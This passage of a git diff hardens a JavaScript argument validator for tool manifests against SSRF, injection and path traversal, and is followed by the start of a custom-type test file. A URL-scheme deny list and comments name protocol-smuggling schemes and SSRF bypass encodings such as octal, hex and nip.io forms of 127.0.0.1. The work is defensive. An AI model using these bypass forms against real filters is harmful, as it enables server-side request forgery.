NUL bytes"); + } + if (STRING_DERIVED_TYPES.has(type)) { + checkValueHygiene(str, argDef, type, execMode); + } + const out = handler(argDef, value); + if (NUMERIC_TYPES.has(type)) { + // The leading-dash rule applies to the output after clamping/range checks, + // so a clamped negative that lands on a non-negative bound passes. + if (startsWithDash(String(out)) && argDef.allow_leading_dash !== true) { + throw new Error(LEADING_DASH_MESSAGE); + } + } + if (argDef.scope_check === true && opts.skipScope !== true) { + return afterHostPolicy(out, () => enforceScope(type, str, opts.scope)); + } + return out; +} + +/** + * Scope runs after the host/IP policy: hygiene, type parse, block_internal, + * then scope. For a hostname still awaiting resolution the scope check is + * chained onto the resolution so the order holds on the async path too. + */ +function afterHostPolicy(out, check) { + if (out instanceof HostResolution) { + return new HostResolution(out.host, (addresses) => { + const value = out.complete(addresses); + check(); + return value; + }); + } + check(); + return out; +} + +/** + * SCOPE HOOK: hold the checked subject (the host of a `url`, otherwise the + * value) to the scope definition. A missing scope is the fail-closed refusal. + */ +function enforceScope(type, str, scope) { + if (!SCOPE_CHECK_TYPES.includes(type)) { + throw new Error(`scope_check is not supported for type '${type}'`); + } + const subject = type === "url" ? parseUrlAuthority(splitUrlScheme(str).rest).host : str; + checkScope(subject, scope); +} + +/** + * The one step the synchronous validator cannot perform. A hostname under + * `block_internal` can only be shown to be public by resolving it and testing + * every answer, and Node has no synchronous resolver. Rather than fork the + * validator into a sync and an async copy, a type handler returns one of + * these in place of the value; the sync entry points refuse it and the async + * entry points satisfy it with a bounded `dns.promises.lookup`. Everything + * before this point (hygiene, structure, the literal and CIDR policy, the + * internal-name denylist, embedded literals) is one implementation that runs + * identically on both paths. + */ +class HostResolution { + /** + * @param {string} host - The name to resolve + * @param {(addresses: object[]) => *} complete - Applies the policy to the + * parsed answers and returns the validated value + */ + constructor(host, complete) { + this.host = host; + this.complete = complete; + } +} + +const UNRESOLVED_HOST_MESSAGE = + "hostname cannot be verified without DNS resolution; pass an IP literal or use validateArgAsync"; + +/** Sync entry points: a pending resolution is a refusal, never a pass. */ +function settleSync(out) { + if (out instanceof HostResolution) { + throw new Error(UNRESOLVED_HOST_MESSAGE); + } + return out; +} + +/** Async entry points: a pending resolution is satisfied by a lookup. */ +async function settleAsync(out) { + if (out instanceof HostResolution) { + return out.complete(await resolveHostAddresses(out.host)); + } + return out; +} + +/** Upper bound on one lookup. A resolver that does not answer cannot show a name is public. */ +const RESOLVE_TIMEOUT_MS = 2000; + +function couldNotResolve(host) { + return new Error(`could not resolve host '${host}' to verify it is public (block_internal)`); +} + +function withTimeout(promise, ms) { + let timer; + const timeout = new Promise((_resolve, reject) => { + timer = setTimeout(() => reject(new Error(`lookup timed out after ${ms} ms`)), ms); + }); + return Promise.race([promise, timeout]).finally(() => clearTimeout(timer)); +} + +/** + * Resolve `host` to every A/AAAA answer, each parsed as a canonical literal. + * Any failure — a lookup error, the timeout, an empty answer set, an answer + * the strict parser does not accept — is a refusal: a name that cannot be + * resolved cannot be shown to be public. + * + * Seam for a follow-up outside this wave: the addresses returned here are + * what the policy approved, but the tool will resolve the name again on its + * own and may be answered differently (the resolve-then-reconnect window). + * A runtime should pin the approved address into the invocation, e.g. + * `curl --resolve host:443:ip`, rather than hand the tool the bare name. + * @param {string} host + * @returns {Promise} Parsed addresses from parseCanonicalIp + */ +async function resolveHostAddresses(host) { + let answers; + try { + answers = await withTimeout(dns.lookup(host, { all: true }), RESOLVE_TIMEOUT_MS); + } catch { + throw couldNotResolve(host); + } + if (!Array.isArray(answers) || answers.length === 0) { + throw couldNotResolve(host); + } + const addresses = []; + for (const answer of answers) { + const ip = parseCanonicalIp(String(answer && answer.address)); + if (ip === null) { + throw couldNotResolve(host); + } + addresses.push(ip); + } + return addresses; +} + +/** + * The shared validation pipeline. May return a HostResolution, which the + * entry point settles. + */ +function validateArgCore(argDef, value, opts) { + const type = argDef.type; + + const handler = TYPE_HANDLERS[type]; + if (!handler) { + throw new Error(`Unknown argument type: ${type}`); + } + return runValidation(handler, type, argDef, value, opts); +} + +function normalizeOptions(options) { + if (options === undefined || options === null) return {}; + if (typeof options === "boolean") return { execMode: options }; + return options; +} + +/** + * Validate an argument value with explicit options. Synchronous: a hostname + * under `block_internal` is refused (see validateArgInAsync). + * + * @param {object} argDef - Argument definition from the manifest + * @param {*} value - The raw value to validate + * @param {object} [options] + * @param {boolean} [options.execMode=false] - true only when the manifest + * declared command.exec directly; enables allow_whitespace + * @param {object|null} [options.scope] - Scope definition (loadScopeFile, + * discoverScope or makeScope) for arguments with `scope_check = true`; + * absent is the fail-closed refusal + * @param {object} [options.customTypes] - Custom type map (loadCustomTypes) + * consulted when `argDef.type` is not built in + * @returns {*} The validated and possibly coerced value + */ +export function validateArgIn(argDef, value, options) { + const opts = normalizeOptions(options); + return settleSync(validateArgWithCustomTypesCore(argDef, value, opts.customTypes, opts)); +} + +/** + * validateArgIn with DNS resolution for a hostname under `block_internal`. + * @param {object} argDef + * @param {*} value + * @param {object} [options] - See validateArgIn + * @returns {Promise<*>} + */ +export async function validateArgInAsync(argDef, value, options) { + const opts = normalizeOptions(options); + return settleAsync(validateArgWithCustomTypesCore(argDef, value, opts.customTypes, opts)); +} + +/** + * Load-time check of a manifest-declared default: the strict (template-mode) + * pipeline without the scope check (the scope is discovered at call time) + * and without DNS (a pending resolution is left to the call-time check). + * @param {object} argDef + * @param {*} value + * @param {object} [customTypes] + */ +export function validateDefaultValue(argDef, value, customTypes) { + validateArgWithCustomTypesCore(argDef, value, customTypes, { skipScope: true }); +} + /** * Validate an argument value against its declared type definition. * Returns the cleaned/coerced value on success, throws on failure. * + * Synchronous: a `scope_target` or `url` hostname under `block_internal` + * cannot be verified without DNS resolution and is refused here; pass an IP + * literal or use validateArgAsync. + * + * @param {object} argDef - Argument definition from the manifest + * @param {*} value - The raw value to validate + * @param {boolean} [execMode=false] - true only when the manifest declared + * command.exec directly; enables allow_whitespace. A template compiled to + * exec is still template mode (strict). + * @returns {*} The validated and possibly coerced value + */ +export function validateArgMode(argDef, value, execMode = false) { + return validateArgIn(argDef, value, { execMode }); +} + +/** + * Strict (template-mode) validation: whitespace is always rejected. * @param {object} argDef - Argument definition from the manifest * @param {*} value - The raw value to validate * @returns {*} The validated and possibly coerced value */ export function validateArg(argDef, value) { - const type = argDef.type; + return validateArgMode(argDef, value, false); +} - const handler = TYPE_HANDLERS[type]; - if (!handler) { - throw new Error(`Unknown argument type: ${type}`); - } - return handler(argDef, value); +/** + * validateArgMode with DNS resolution: the same pipeline, but a hostname + * under `block_internal` is resolved (bounded to 2 s) and every A/AAAA + * answer is held to the range policy. Resolution failure is a refusal. + * @param {object} argDef - Argument definition from the manifest + * @param {*} value - The raw value to validate + * @param {boolean} [execMode=false] - See validateArgMode + * @returns {Promise<*>} The validated and possibly coerced value + */ +export async function validateArgAsync(argDef, value, execMode = false) { + return validateArgInAsync(argDef, value, { execMode }); } const TYPE_HANDLERS = { @@ -61,7 +408,7 @@ function validateString(argDef, value) { } checkInjection(str); if (argDef.pattern) { - const re = new RegExp(argDef.pattern); + const re = compilePattern(argDef.pattern); if (!re.test(str)) { throw new Error( `Value "${str}" does not match pattern: ${argDef.pattern}` @@ -71,11 +418,23 @@ function validateString(argDef, value) { return str; } +const INTEGER_RE = /^[+-]?[0-9]+$/; +const PORT_RE = /^[0-9]+$/; +const NUMBER_RE = /^[+-]?([0-9]+\.?[0-9]*|\.[0-9]+)([eE][+-]?[0-9]+)?$/; +const DURATION_SECONDS_RE = /^[0-9]+$/; +const DURATION_UNITS_RE = /^(?:[0-9]+h)?(?:[0-9]+m)?(?:[0-9]+s)?(?:[0-9]+ms)?$/; + function validateInteger(argDef, value) { - const num = Number(value); - if (!Number.isInteger(num)) { + // The string form must be plain decimal before parsing: Number() alone + // accepts "", "0x10", " 7 " and "1e3". + const str = String(value); + if (!INTEGER_RE.test(str)) { throw new Error(`Expected integer, got: ${value}`); } + const num = Number(str); + if (!Number.isSafeInteger(num)) { + throw new Error(`Integer out of range: ${value}`); + } if (argDef.min !== undefined || argDef.max !== undefined) { if (argDef.clamp) { const lo = argDef.min ?? -Infinity; @@ -93,7 +452,8 @@ function validateInteger(argDef, value) { } function validateNumber(argDef, value) { - const num = Number(value); + const str = String(value); + const num = NUMBER_RE.test(str) ? Number(str) : NaN; if (!Number.isFinite(num)) { throw new Error(`Expected finite number, got: ${value}`); } @@ -114,7 +474,8 @@ function validateNumber(argDef, value) { } function validatePort(argDef, value) { - const num = Number(value); + const str = String(value); + const num = PORT_RE.test(str) ? Number(str) : NaN; if (!Number.isInteger(num) || num < 1 || num > 65535) { throw new Error(`Invalid port number: ${value} (must be 1-65535)`); } @@ -139,12 +500,6 @@ function validateEnum(argDef, value) { return str; } -function hasPunycodeLabel(host) { - return host.split(".").some( - (label) => label.length >= 4 && label.slice(0, 4).toLowerCase() === "xn--" - ); -} - // RFC 1035 §2.3.4 caps a fully-qualified domain name at 253 octets. // IPv6 textual form maxes out at 45 chars. We use 253 as the upper bound // for any scope_target shape — hostnames, IPv4, IPv6, and CIDRs all fit @@ -152,13 +507,67 @@ function hasPunycodeLabel(host) { // against buffer-pathological payloads. const SCOPE_TARGET_MAX_LEN = 253; +/** RFC 1035 §2.3.4 caps each DNS label at 63 octets. */ +const DNS_LABEL_MAX_LEN = 63; + +/** Structural hostname: LDH labels joined by dots (same regex as Rust). */ +const HOSTNAME_RE = + /^[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?)*$/; + +/** + * Something shaped like CIDR notation. Used only to choose the error message + * for a value containing `/`; the strict parse is `parseCidr`. + */ +const CIDR_SHAPE_RE = /^[0-9a-fA-F.:]+\/[0-9]{1,3}$/; + +/** Schemes a `url` argument accepts when the manifest sets no `schemes`. */ +const DEFAULT_URL_SCHEMES = Object.freeze(["http", "https"]); + +/** + * Schemes a `url` argument never accepts, even when a manifest lists one in + * `schemes`: each is either a non-network scheme a fetcher would turn into + * local file or code access, or a protocol-smuggling vector (gopher and dict + * speak raw bytes to an arbitrary port). + */ +const DENIED_URL_SCHEMES = new Set([ + "javascript", + "data", + "file", + "blob", + "about", + "gopher", + "dict", + "ftp", + "ldap", + "jar", + "netdoc", + "mailto", + "ws", + "wss", +]); + +/** + * True if the rightmost DNS label is not entirely numeric: a real TLD is + * never all digits (RFC 3696 §2), which also rejects dotted-decimal IPs + * that the strict parser already refused. + */ +function tldNotAllNumeric(host) { + const tld = host.slice(host.lastIndexOf(".") + 1); + return tld.length > 0 && !/^[0-9]+$/.test(tld); +} + +function hasOverlongLabel(host) { + return host.split(".").some((label) => label.length > DNS_LABEL_MAX_LEN); +} + function validateScopeTarget(argDef, value) { // Scope validation rules (aligned across Rust, Python, JS, Go): // 1. Reject shell metacharacters 2. Block * and ? wildcards // 3. Surface specific failure modes (traversal, IDN, non-ASCII, slashes) // BEFORE the generic regex catch-all so forensic triage and per-fence // bite-rate analysis can distinguish attack shapes. - // 4. Accept valid IPv4, IPv6, CIDR, or hostname. + // 4. Accept a canonical IP literal, a CIDR with a canonical base, or a + // hostname — under the host policy of hostpolicy.js. const str = String(value); if (str.length === 0) { throw new Error("scope_target must not be empty"); @@ -181,18 +590,12 @@ function validateScopeTarget(argDef, value) { throw new Error(`Wildcard not allowed in scope_target: ${str}`); } - const ipv4Re = /^(\d{1,3}\.){3}\d{1,3}$/; - const ipv6Re = /^[0-9a-fA-F:]+$/; - const cidrRe = /^[0-9a-fA-F.:]+\/\d{1,3}$/; - const hostnameRe = - /^[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?)*$/; - if (str.includes("../") || str.includes("..\\") || str.includes("/..")) { throw new Error( `scope_target must not contain path traversal sequences: ${str}` ); } - if (str.includes("/") && !cidrRe.test(str) && !ipv4Re.test(str) && !ipv6Re.test(str)) { + if (str.includes("/") && !CIDR_SHAPE_RE.test(str)) { throw new Error( `scope_target must not contain '/' (use CIDR notation for ranges): ${str}` ); @@ -213,35 +616,266 @@ function validateScopeTarget(argDef, value) { `scope_target must not contain punycode (xn--) labels — IDN/IDNA hostnames are rejected to prevent homoglyph bypass; gate IDN registration upstream if needed: ${str}` ); } + // Per-label DNS length: the total-length check above does not bound an + // individual label. + if (hasOverlongLabel(str)) { + throw new Error( + `scope_target has a DNS label exceeding ${DNS_LABEL_MAX_LEN} octets (RFC 1035 §2.3.4): ${str}` + ); + } + + const blockInternal = argDef.block_internal === true; + + // Canonical IP literals only. The strict parsers accept dotted-quad IPv4 + // and standard IPv6 and nothing else, so integer/hex/octal/shorthand + // encodings (2130706433, 0x7f000001, 0177.0.0.1, 127.1 — all of which a + // libc resolver would expand to 127.0.0.1) fail here and are rejected as + // non-canonical literals below. + const ip = parseCanonicalIp(str); + if (ip !== null) { + enforceIpPolicy(ip, blockInternal); + return str; + } + + // CIDR ranges: a canonical base address with an in-bounds prefix. The + // whole range is tested for overlap with each blocked prefix, so a + // supernet with a public base address (`8.0.0.0/5`) is still refused. + if (str.includes("/")) { + const cidr = parseCidr(str); + if (cidr === null) { + throw new Error(`Invalid scope_target: ${str} (must be IP, CIDR, or hostname)`); + } + enforceCidrPolicy(cidr, blockInternal); + return str; + } + + // A non-canonical IP-literal encoding must not slip through as a + // "hostname": a downstream resolver would expand it to an address. No + // legitimate hostname is all-numeric labels or a 0x-prefixed hex literal. + if (looksLikeIpLiteral(str)) { + throw new Error( + `scope_target looks like a non-canonical IP literal; use dotted-quad IPv4 or standard IPv6: ${str}` + ); + } - if ( - !ipv4Re.test(str) && - !ipv6Re.test(str) && - !cidrRe.test(str) && - !hostnameRe.test(str) - ) { - throw new Error(`Invalid scope_target: ${str} (must be IP, CIDR, or hostname)`); + // Hostname: structural regex plus a non-numeric rightmost label, then the + // hostname policy shared with the url host. + if (HOSTNAME_RE.test(str) && tldNotAllNumeric(str)) { + return applyHostnamePolicy(str, blockInternal, str); } - return str; + throw new Error(`Invalid scope_target: ${str} (must be IP, CIDR, or hostname)`); +} + +/** + * Hostname policy shared by `scope_target` and the host of a `url`, applied + * after the structural checks (punycode, non-canonical literals, the LDH + * regex) have passed: + * + * 1. Embedded IPv4 literal (`127.0.0.1.nip.io`, `10-0-0-1.nip.io`): the + * address written in the name is held to the literal policy, since a + * wildcard-DNS zone answers with exactly that address. An address the + * policy allows continues as an ordinary hostname. + * 2. Internal-name denylist, with or without `block_internal`. + * 3. Under `block_internal`, a name can only be shown to be public by + * resolving it. That step is returned as a HostResolution for the entry + * point to satisfy (async) or refuse (sync); the completion applies the + * range policy to every answer, so a name that resolves to one public and + * one internal address (rebinding, split horizon) is refused. + * + * @param {string} host - The hostname + * @param {boolean} blockInternal + * @param {string} value - The validated value to return on success + * @returns {string|HostResolution} + */ +function applyHostnamePolicy(host, blockInternal, value) { + const embedded = embeddedIpv4Literal(host); + if (embedded !== null) { + enforceIpPolicy(embedded, blockInternal); + } + const internal = internalNameReason(host); + if (internal !== null) { + throw new Error(`target ${internal}`); + } + if (!blockInternal) { + return value; + } + return new HostResolution(host, (addresses) => { + for (const ip of addresses) { + enforceIpPolicy(ip, true); + } + return value; + }); +} + +/** + * Split a URL into its lowercased scheme and everything after `://`. + * A value without `://` is not a URL for our purposes; a bare `scheme:` form + * (`mailto:`, `javascript:`) is refused here rather than parsed. + * @param {string} str + * @returns {{scheme: string, rest: string}} + * @throws {Error} when the value has no `scheme://` prefix + */ +export function splitUrlScheme(str) { + const idx = str.indexOf("://"); + const scheme = idx === -1 ? "" : str.slice(0, idx).toLowerCase(); + // RFC 3986 §3.1: ALPHA *( ALPHA / DIGIT / "+" / "-" / "." ) + if (idx === -1 || !/^[a-z][a-z0-9+.-]*$/.test(scheme)) { + throw new Error(`Invalid URL: ${str} (expected scheme://host)`); + } + return { scheme, rest: str.slice(idx + 3) }; +} + +const URL_PORT_MESSAGE = "URL port must be 1-65535"; + +/** + * Extract the host from the part of a URL after `://`. The authority is + * everything up to the first `/`, `?` or `#`; an `@` inside it is userinfo + * and is refused outright. A bracketed IPv6 literal is unwrapped and must be + * canonical; otherwise the host ends at the first `:` and whatever follows + * must be a plain decimal port in 1-65535. + * + * This is deliberately not a WHATWG parser: nothing is normalized, so what + * a reviewer reads in the manifest is what the host policy sees. + * + * @param {string} rest - The URL text after `://` + * @returns {{host: string, port: number|null, bracketed: boolean}} + * @throws {Error} on userinfo, an empty or malformed host, or a bad port + */ +export function parseUrlAuthority(rest) { + const end = rest.search(/[/?#]/); + const authority = end === -1 ? rest : rest.slice(0, end); + if (authority.includes("@")) { + throw new Error("URL must not contain userinfo (user:pass@host)"); + } + + let host; + let portText = null; + let bracketed = false; + if (authority.startsWith("[")) { + const close = authority.indexOf("]"); + if (close === -1) { + throw new Error(`Invalid URL authority: unterminated IPv6 bracket: ${authority}`); + } + host = authority.slice(1, close); + if (parseIpv6(host) === null) { + throw new Error( + `Invalid URL authority: bracketed host '${host}' is not a canonical IPv6 literal` + ); + } + bracketed = true; + const after = authority.slice(close + 1); + if (after !== "") { + if (!after.startsWith(":")) { + throw new Error( + `Invalid URL authority: unexpected text after IPv6 bracket: ${authority}` + ); + } + portText = after.slice(1); + } + } else { + const colon = authority.indexOf(":"); + if (colon === -1) { + host = authority; + } else { + host = authority.slice(0, colon); + portText = authority.slice(colon + 1); + } + } + + if (host === "") { + throw new Error("URL host must not be empty"); + } + + let port = null; + if (portText !== null) { + // Plain decimal only: Number() would accept "+1", "0x50", " 80". + if (!/^[0-9]{1,5}$/.test(portText)) { + throw new Error(`${URL_PORT_MESSAGE} (got '${portText}')`); + } + port = Number(portText); + if (port < 1 || port > 65535) { + throw new Error(`${URL_PORT_MESSAGE} (got '${portText}')`); + } + } + + return { host, port, bracketed }; } +/** + * The `url` validator, in order: the string-derived hygiene has already run + * (whitespace is never admitted for a `url`, opt-in or not); then the shell + * metacharacter blocklist, which rejects `{` and `}` and therefore any + * `{_secret:…}` reference; then a structural parse — `scheme://`, the scheme + * allowlist, the scheme denylist, no userinfo, host extraction with an + * optional port — and finally the host policy of hostpolicy.js. + * + * The value is returned untouched. This is not a WHATWG / RFC 3986 + * normalizer: the fetcher downstream will parse the value again with its own + * rules, so anything a human reviewer of the manifest could misread is + * refused here rather than normalized away. + */ function validateUrl(argDef, value) { const str = String(value); - let parsed; - try { - parsed = new URL(str); - } catch { - throw new Error(`Invalid URL: ${str}`); + // Step 1 (continued): the metacharacter blocklist. + checkInjection(str); + + // Step 2: `scheme://rest`. + const { scheme, rest } = splitUrlScheme(str); + + // Step 3: allowlist — the manifest's `schemes` when set, else http/https. + const allowed = + Array.isArray(argDef.schemes) && argDef.schemes.length > 0 + ? argDef.schemes.map((s) => String(s).toLowerCase()) + : DEFAULT_URL_SCHEMES; + if (!allowed.includes(scheme)) { + throw new Error( + `URL scheme "${scheme}" not in allowed schemes: [${allowed.join(", ")}]` + ); + } + + // Step 4: explicit denial, even when a manifest lists the scheme. + if (DENIED_URL_SCHEMES.has(scheme)) { + throw new Error(`URL scheme "${scheme}" is never allowed for a url argument`); + } + + // Steps 5-6: no userinfo; host and optional port. + const { host } = parseUrlAuthority(rest); + + // Step 7: host policy — the same checks as scope_target, since curl and + // wget-style fetchers are the prime SSRF vector. + if (hasPunycodeLabel(host)) { + throw new Error(`URL host must not contain punycode (xn--) labels: ${host}`); } - if (argDef.schemes && argDef.schemes.length > 0) { - const scheme = parsed.protocol.replace(":", ""); - if (!argDef.schemes.includes(scheme)) { + const blockInternal = argDef.block_internal === true; + const ip = parseCanonicalIp(host); + let out; + if (ip !== null) { + enforceIpPolicy(ip, blockInternal); + out = str; + } else { + if (looksLikeIpLiteral(host)) { throw new Error( - `URL scheme "${scheme}" not in allowed schemes: [${argDef.schemes.join(", ")}]` + `URL host looks like a non-canonical IP literal; use dotted-quad IPv4 or a hostname: ${host}` ); } + if (host.length > SCOPE_TARGET_MAX_LEN || hasOverlongLabel(host)) { + throw new Error("URL host exceeds DNS length limits (RFC 1035 §2.3.4)"); + } + if (!HOSTNAME_RE.test(host)) { + throw new Error(`URL host is not a valid hostname or IP literal: ${host}`); + } + out = applyHostnamePolicy(host, blockInternal, str); } - return str; + + // Step 8: scope (when `scope_check` is set) runs after this returns, in + // runValidation, against `host`. + + return out; +} + +/** True if `..` is a whole path component, split on `/` and `\\`. */ +function hasDotDotComponent(str) { + return str.split(/[/\\]/).includes(".."); } function validatePath(argDef, value) { @@ -250,48 +884,54 @@ function validatePath(argDef, value) { if (str.startsWith("/") || (str.length >= 2 && str[1] === ":")) { throw new Error(`Path must be relative, not absolute: ${str}`); } - if (str.includes("../") || str.includes("..\\")) { + if (hasDotDotComponent(str)) { throw new Error(`Path traversal not allowed: ${str}`); } return str; } +/** + * A canonical IPv4 or IPv6 literal, under the same egress policy as every + * other address-carrying type: link-local is always refused, the rest of + * the non-public table under `block_internal`. + */ function validateIpAddress(argDef, value) { const str = String(value); - const ipv4Re = /^(\d{1,3}\.){3}\d{1,3}$/; - const ipv6Re = /^[0-9a-fA-F:]+$/; - if (!ipv4Re.test(str) && !ipv6Re.test(str)) { - throw new Error(`Invalid IP address: ${str}`); - } - if (ipv4Re.test(str)) { - const octets = str.split(".").map(Number); - if (octets.some((o) => o < 0 || o > 255)) { + const ip = parseCanonicalIp(str); + if (ip === null) { + if (/^[0-9.]+$/.test(str)) { throw new Error(`Invalid IPv4 address: ${str}`); } + throw new Error(`Invalid IP address: ${str}`); } + enforceIpPolicy(ip, argDef.block_internal === true); return str; } +/** + * `address/prefix` with a canonical base address and an in-bounds prefix. + * The whole range is tested for overlap with each blocked prefix, so a + * supernet with a public base address is refused along with its contents. + */ function validateCidr(argDef, value) { const str = String(value); - const cidrRe = /^[0-9a-fA-F.:]+\/\d{1,3}$/; - if (!cidrRe.test(str)) { + const slash = str.indexOf("/"); + if (slash === -1) { throw new Error(`Invalid CIDR notation: ${str}`); } - const [addr, prefix] = str.split("/"); - const prefixNum = Number(prefix); - // IPv4 check - if (addr.includes(".")) { - validateIpAddress(argDef, addr); - if (prefixNum < 0 || prefixNum > 32) { - throw new Error(`Invalid CIDR prefix for IPv4: /${prefix}`); - } - } else { - // IPv6 - if (prefixNum < 0 || prefixNum > 128) { - throw new Error(`Invalid CIDR prefix for IPv6: /${prefix}`); - } + const ip = parseCanonicalIp(str.slice(0, slash)); + const prefixText = str.slice(slash + 1); + if (ip === null || !/^[0-9]{1,3}$/.test(prefixText)) { + throw new Error(`Invalid CIDR notation: ${str}`); + } + const prefix = Number(prefixText); + if (ip.family === 4 && prefix > 32) { + throw new Error(`Invalid CIDR prefix for IPv4: /${prefixText}`); + } + if (ip.family === 6 && prefix > 128) { + throw new Error(`Invalid CIDR prefix for IPv6: /${prefixText}`); } + enforceCidrPolicy({ ip, prefix }, argDef.block_internal === true); return str; } @@ -328,7 +968,7 @@ function validateCredentialFile(argDef, value) { if (str.startsWith("/") || (str.length >= 2 && str[1] === ":")) { throw new Error(`Credential file must be a relative path: ${str}`); } - if (str.includes("../") || str.includes("..\\")) { + if (hasDotDotComponent(str)) { throw new Error(`Path traversal not allowed: ${str}`); } if (!existsSync(str)) { @@ -342,11 +982,10 @@ function validateCredentialFile(argDef, value) { function validateDuration(argDef, value) { const str = String(value); - // Plain integer seconds - if (/^\d+$/.test(str)) return str; - // Duration with suffix - if (/^(?:\d+h)?(?:\d+m)?(?:\d+s)?(?:\d+ms)?$/.test(str) && str.length > 0) - return str; + // Plain integer seconds, or unit groups in h/m/s/ms order. JS `$` without + // the m flag anchors at the very end, so a trailing newline fails. + if (DURATION_SECONDS_RE.test(str)) return str; + if (str.length > 0 && DURATION_UNITS_RE.test(str)) return str; throw new Error( `Invalid duration: '${str}' (e.g. '30', '5m', '2h', '1h30m', '500ms')` ); @@ -358,7 +997,7 @@ function validateRegexMatch(argDef, value) { if (!argDef.pattern) { throw new Error("regex_match type requires a 'pattern' field"); } - const re = new RegExp(argDef.pattern); + const re = compilePattern(argDef.pattern); if (!re.test(str)) { throw new Error( `Value '${str}' does not match required pattern: ${argDef.pattern}` @@ -368,14 +1007,11 @@ function validateRegexMatch(argDef, value) { } /** - * Validate an argument using custom type definitions. - * @param {object} argDef - Argument definition - * @param {*} value - Value to validate - * @param {object} customTypes - Map of custom type name to definition - * @returns {*} Validated value + * The shared custom-type pipeline. May return a HostResolution, which the + * entry point settles. */ -export function validateArgWithCustomTypes(argDef, value, customTypes) { - if (customTypes && customTypes[argDef.type]) { +function validateArgWithCustomTypesCore(argDef, value, customTypes, opts) { + if (customTypes && Object.hasOwn(customTypes, argDef.type)) { const custom = customTypes[argDef.type]; const handler = TYPE_HANDLERS[custom.base]; if (!handler) { @@ -394,7 +1030,53 @@ export function validateArgWithCustomTypes(argDef, value, customTypes) { min_float: custom.min_float ?? argDef.min_float, max_float: custom.max_float ?? argDef.max_float, }; - return handler(synthetic, value); + return runValidation(handler, custom.base, synthetic, value, opts); } - return validateArg(argDef, value); + return validateArgCore(argDef, value, opts); +} + +/** + * Validate an argument using custom type definitions. Synchronous: see + * validateArgMode for the hostname rule under `block_internal`. + * @param {object} argDef - Argument definition + * @param {*} value - Value to validate + * @param {object} customTypes - Map of custom type name to definition + * @param {boolean} [execMode=false] - See validateArgMode + * @returns {*} Validated value + */ +export function validateArgWithCustomTypesMode( + argDef, + value, + customTypes, + execMode = false +) { + return settleSync(validateArgWithCustomTypesCore(argDef, value, customTypes, normalizeOptions(execMode))); +} + +/** + * Strict (template-mode) custom-type validation. + * @param {object} argDef - Argument definition + * @param {*} value - Value to validate + * @param {object} customTypes - Map of custom type name to definition + * @returns {*} Validated value + */ +export function validateArgWithCustomTypes(argDef, value, customTypes) { + return validateArgWithCustomTypesMode(argDef, value, customTypes, false); +} + +/** + * validateArgWithCustomTypesMode with DNS resolution: see validateArgAsync. + * @param {object} argDef - Argument definition + * @param {*} value - Value to validate + * @param {object} customTypes - Map of custom type name to definition + * @param {boolean} [execMode=false] - See validateArgMode + * @returns {Promise<*>} Validated value + */ +export async function validateArgWithCustomTypesAsync( + argDef, + value, + customTypes, + execMode = false +) { + return settleAsync(validateArgWithCustomTypesCore(argDef, value, customTypes, normalizeOptions(execMode))); } diff --git a/js/test/custom_types.test.js b/js/test/custom_types.test.js new file mode 100644 index 0000000..7c2ae52 --- /dev/null +++ b/js/test/custom_types.test.js @@ -0,0 +1,202 @@ +// toolclad.toml discovery, strict custom type loading, and load-time type +// checking of every declared argument type (TC-23). + +import { describe, it, beforeEach, afterEach } from "node:test"; +import assert from "node:assert/strict"; +import { mkdirSync, mkdtempSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { + CUSTOM_TYPES, + discoverCustomTypes, + loadCustomTypes, + loadManifest, + loadManifestFromString, + loadManifestWithOptions, +} from "../src/manifest.js"; +import { execute } from "../src/executor.js"; + +const TYPES = `[types.level] +base = "integer" +min = 1 +max = 5 + +[types.ident] +base = "string" +pattern = "[a-z]+" +`; + +const manifestWith = (type) => `[tool] +name = "t" +binary = "echo" +description = "d" + +[args.a] +position = 1 +required = true +type = "${type}" +description = "a" + +[command] +exec = ["echo", "{a}"] + +[output] +format = "text" +`; + +function tree() { + const root = mkdtempSync(join(tmpdir(), "toolclad-ct-")); + const sub = join(root, "tools", "deep"); + mkdirSync(sub, { recursive: true }); + return { root, sub }; +} + +let savedConfig; +beforeEach(() => { + savedConfig = process.env.TOOLCLAD_CONFIG_FILE; + delete process.env.TOOLCLAD_CONFIG_FILE; +}); +afterEach(() => { + if (savedConfig === undefined) delete process.env.TOOLCLAD_CONFIG_FILE; + else process.env.TOOLCLAD_CONFIG_FILE = savedConfig; +}); + +describe("toolclad.toml discovery", () => { + it("is found by walking up from the manifest directory", async () => { + const { root, sub } = tree(); + writeFileSync(join(root, "toolclad.toml"), TYPES); + const path = join(sub, "t.clad.toml"); + writeFileSync(path, manifestWith("level")); + const m = loadManifest(path); + assert.deepEqual(Object.keys(m[CUSTOM_TYPES]).sort(), ["ident", "level"]); + const ok = await execute(m, { a: "3" }, { dryRun: true }); + assert.deepEqual(ok.argv, ["echo", "3"]); + await assert.rejects(execute(m, { a: "9" }, { dryRun: true })); + }); + + it("an unknown type with no toolclad.toml is refused at load", () => { + const { sub } = tree(); + const path = join(sub, "t.clad.toml"); + writeFileSync(path, manifestWith("level")); + assert.throws(() => loadManifest(path), /unknown type 'level' for argument 'a'/); + }); + + it("TOOLCLAD_CONFIG_FILE wins, and an unreadable path is an error", () => { + const { root, sub } = tree(); + writeFileSync(join(root, "toolclad.toml"), ""); + const elsewhere = join(root, "other.toml"); + writeFileSync(elsewhere, TYPES); + const path = join(sub, "t.clad.toml"); + writeFileSync(path, manifestWith("ident")); + assert.throws(() => loadManifest(path), /unknown type 'ident'/); + process.env.TOOLCLAD_CONFIG_FILE = elsewhere; + assert.doesNotThrow(() => loadManifest(path)); + process.env.TOOLCLAD_CONFIG_FILE = join(root, "missing.toml"); + assert.throws(() => loadManifest(path), /cannot read custom type file/); + assert.throws(() => discoverCustomTypes(sub), /cannot read custom type file/); + }); + + it("the customTypes option overrides discovery", () => { + const { sub } = tree(); + const path = join(sub, "t.clad.toml"); + writeFileSync(path, manifestWith("level")); + const m = loadManifestWithOptions(path, { customTypes: { level: { base: "integer" } } }); + assert.equal(m[CUSTOM_TYPES].level.base, "integer"); + }); + + it("the string loader discovers from baseDir", () => { + const { root, sub } = tree(); + writeFileSync(join(root, "toolclad.toml"), TYPES); + assert.doesNotThrow(() => loadManifestFromString(manifestWith("ident"), { baseDir: sub })); + const { sub: bare } = tree(); + assert.throws( + () => 